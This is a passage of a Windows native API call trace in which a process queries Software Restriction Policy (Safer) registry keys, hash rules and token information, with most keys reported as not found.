Data="%\0H\0K\0E\0Y\0_\0C\0U\0R\0R\0E\0N\0T\0_\0U\0S\0E\0R\0\\0S\0o\0f\0t\0w\0a\0r\0e\0\\0M\0i\0c\0r\0o\0s\0o\0f\0t\0\\0W\0i\0n\0d\0o\0w\0s\0\\0C\0u\0r\0r\0e\0n\0t\0V\0e\0r\0s\0i\0o\0n\0\\0E\0x\0p\0l\0o\0r\0e\0r\0\\0S\0h\0e\0l\0l\0 \0F\0o\0l\0d\0e\0r\0s\0\\0C\0a\0c\0h\0e\0%\0O\0L\0K\0*\0\0\0"}, 202, ) }, 202, ) == 0x0
 01509  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01510  1356   NtClose  (100, ... ) == 0x0
 01511  1356   NtEnumerateKey  (96, 1, Basic, 280, ... ) == STATUS_NO_MORE_ENTRIES
 01512  1356   NtClose  (96, ... ) == 0x0
 01513  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Hashes"}, ... 96, ) }, ... 96, ) == 0x0
 01514  1356   NtEnumerateKey  (96, 0, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (96, 0, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{349d35ab-37b5-462f-9b89-edd5fbde1328}"}, 92, ) }, 92, ) == 0x0
 01515  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{349d35ab-37b5-462f-9b89-edd5fbde1328}"}, ... 100, ) }, ... 100, ) == 0x0
 01516  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="^\2530O\225zI\211j\0l\341\25@\25"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="^\2530O\225zI\211j\0l\341\25@\25"}, 28, ) }, 28, ) == 0x0
 01517  1356   NtQueryValueKey  (100,  (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01518  1356   NtQueryValueKey  (100,  (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\13\3\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\13\3\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01519  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01520  1356   NtClose  (100, ... ) == 0x0
 01521  1356   NtEnumerateKey  (96, 1, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (96, 1, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{7fb9cd2e-3076-4df9-a57b-b813f72dbb91}"}, 92, ) }, 92, ) == 0x0
 01522  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{7fb9cd2e-3076-4df9-a57b-b813f72dbb91}"}, ... 100, ) }, ... 100, ) == 0x0
 01523  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="g\260\324\2134:?\323\274\351\334dg\4\363\224"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="g\260\324\2134:?\323\274\351\334dg\4\363\224"}, 28, ) }, 28, ) == 0x0
 01524  1356   NtQueryValueKey  (100,  (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01525  1356   NtQueryValueKey  (100,  (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\5\2\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\5\2\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01526  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01527  1356   NtClose  (100, ... ) == 0x0
 01528  1356   NtEnumerateKey  (96, 2, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (96, 2, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{81d1fe15-dd9d-4762-b16d-7c29ddecae3f}"}, 92, ) }, 92, ) == 0x0
 01529  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{81d1fe15-dd9d-4762-b16d-7c29ddecae3f}"}, ... 100, ) }, ... 100, ) == 0x0
 01530  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="2x\2\334\376\370\310\223\334\212\260\6\335\204}\35"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="2x\2\334\376\370\310\223\334\212\260\6\335\204}\35"}, 28, ) }, 28, ) == 0x0
 01531  1356   NtQueryValueKey  (100,  (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01532  1356   NtQueryValueKey  (100,  (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\226\3\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\226\3\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01533  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01534  1356   NtClose  (100, ... ) == 0x0
 01535  1356   NtEnumerateKey  (96, 3, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (96, 3, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{94e3e076-8f53-42a5-8411-085bcc18a68d}"}, 92, ) }, 92, ) == 0x0
 01536  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{94e3e076-8f53-42a5-8411-085bcc18a68d}"}, ... 100, ) }, ... 100, ) == 0x0
 01537  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="\275\232*\333B\353\330V\16%\16M\370\26/g"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="\275\232*\333B\353\330V\16%\16M\370\26/g"}, 28, ) }, 28, ) == 0x0
 01538  1356   NtQueryValueKey  (100,  (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01539  1356   NtQueryValueKey  (100,  (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\345\0\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\345\0\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01540  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01541  1356   NtClose  (100, ... ) == 0x0
 01542  1356   NtEnumerateKey  (96, 4, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (96, 4, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{dc971ee5-44eb-4fe4-ae2e-b91490411bfc}"}, 92, ) }, 92, ) == 0x0
 01543  1356   NtOpenKey  (0x20019, {24, 96, 0x40, 0, 0,  (0x20019, {24, 96, 0x40, 0, 0, "{dc971ee5-44eb-4fe4-ae2e-b91490411bfc}"}, ... 100, ) }, ... 100, ) == 0x0
 01544  1356   NtQueryValueKey  (100,  (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="8k\10_\204\354\366i\323k\225j"\300\36\200"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (100, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="8k\10_\204\354\366i\323k\225j"\300\36\200"}, 28, ) \300\36\200"}, 28, ) == 0x0
 01545  1356   NtQueryValueKey  (100,  (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01546  1356   NtQueryValueKey  (100,  (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="r\1\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (100, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="r\1\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01547  1356   NtQueryValueKey  (100,  (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (100, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01548  1356   NtClose  (100, ... ) == 0x0
 01549  1356   NtEnumerateKey  (96, 5, Basic, 280, ... ) == STATUS_NO_MORE_ENTRIES
 01550  1356   NtClose  (96, ... ) == 0x0
 01551  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01552  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01553  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01554  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01555  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01556  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01557  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01558  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01559  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01560  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01561  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01562  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01563  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01564  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01565  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01566  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01567  1356   NtClose  (96, ... ) == 0x0
 01568  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01569  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01570  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01571  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01572  1356   NtClose  (96, ... ) == 0x0
 01573  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01574  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01575  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01576  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01577  1356   NtClose  (96, ... ) == 0x0
 01578  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01579  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01580  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01581  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01582  1356   NtClose  (96, ... ) == 0x0
 01583  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01584  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01585  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01586  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01587  1356   NtClose  (96, ... ) == 0x0
 01588  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01589  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01590  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01591  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01592  1356   NtClose  (96, ... ) == 0x0
 01593  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01594  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01595  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01596  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01597  1356   NtClose  (96, ... ) == 0x0
 01598  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01599  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01600  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01601  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01602  1356   NtClose  (96, ... ) == 0x0
 01603  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01604  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01605  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01606  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01607  1356   NtClose  (96, ... ) == 0x0
 01608  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01609  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01610  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01611  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01612  1356   NtClose  (96, ... ) == 0x0
 01613  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01614  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01615  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01616  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01617  1356   NtClose  (96, ... ) == 0x0
 01618  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01619  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01620  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01621  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01622  1356   NtClose  (96, ... ) == 0x0
 01623  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01624  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01625  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01626  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01627  1356   NtClose  (96, ... ) == 0x0
 01628  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01629  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01630  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01631  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01632  1356   NtClose  (96, ... ) == 0x0
 01633  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01634  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01635  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01636  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01637  1356   NtClose  (96, ... ) == 0x0
 01638  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01639  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 96, ) }, ... 96, ) == 0x0
 01640  1356   NtQueryValueKey  (96,  (96, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) , Full, 524, ... TitleIdx=0, Type=4, Name= (96, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) , Data= (96, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) }, 48, ) == 0x0
 01641  1356   NtClose  (96, ... ) == 0x0
 01642  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01643  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 96, ) == 0x0
 01644  1356   NtQueryInformationToken  (96, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01645  1356   NtClose  (96, ... ) == 0x0
 01646  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01647  1356   NtOpenThreadToken  (-2, 0x8, 0, ... ) == STATUS_NO_TOKEN
 01648  1356   NtOpenProcessToken  (-1, 0xa, ... 96, ) == 0x0
 01649  1356   NtDuplicateToken  (96, 0xc, {24, 0, 0x0, 0, 1238700, 0x0}, 0, 2, ... 100, ) == 0x0
 01650  1356   NtClose  (96, ... ) == 0x0
 01651  1356   NtAccessCheck  (1343520, 100, 0x1, 1238776, 1238828, 56, 1238808, ... (0x1), ) == 0x0
 01652  1356   NtClose  (100, ... ) == 0x0
 01653  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 100, ) }, ... 100, ) == 0x0
 01654  1356   NtQueryValueKey  (100,  (100, "PolicyScope", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (100, "PolicyScope", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01655  1356   NtClose  (100, ... ) == 0x0
 01656  1356   NtOpenSymbolicLinkObject  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\??\C:"}, ... 100, ) }, ... 100, ) == 0x0
 01657  1356   NtQuerySymbolicLinkObject  (100, ...  (100, ... "\Device\HarddiskVolume1", 48, ) , 48, ) == 0x0
 01658  1356   NtClose  (100, ... ) == 0x0
 01659  1356   NtQueryVolumeInformationFile  (92, 1236532, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01660  1356   NtQueryInformationFile  (92, 1236648, 528, Name, ... {status=0x0, info=90}, ) == 0x0
 01661  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01662  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
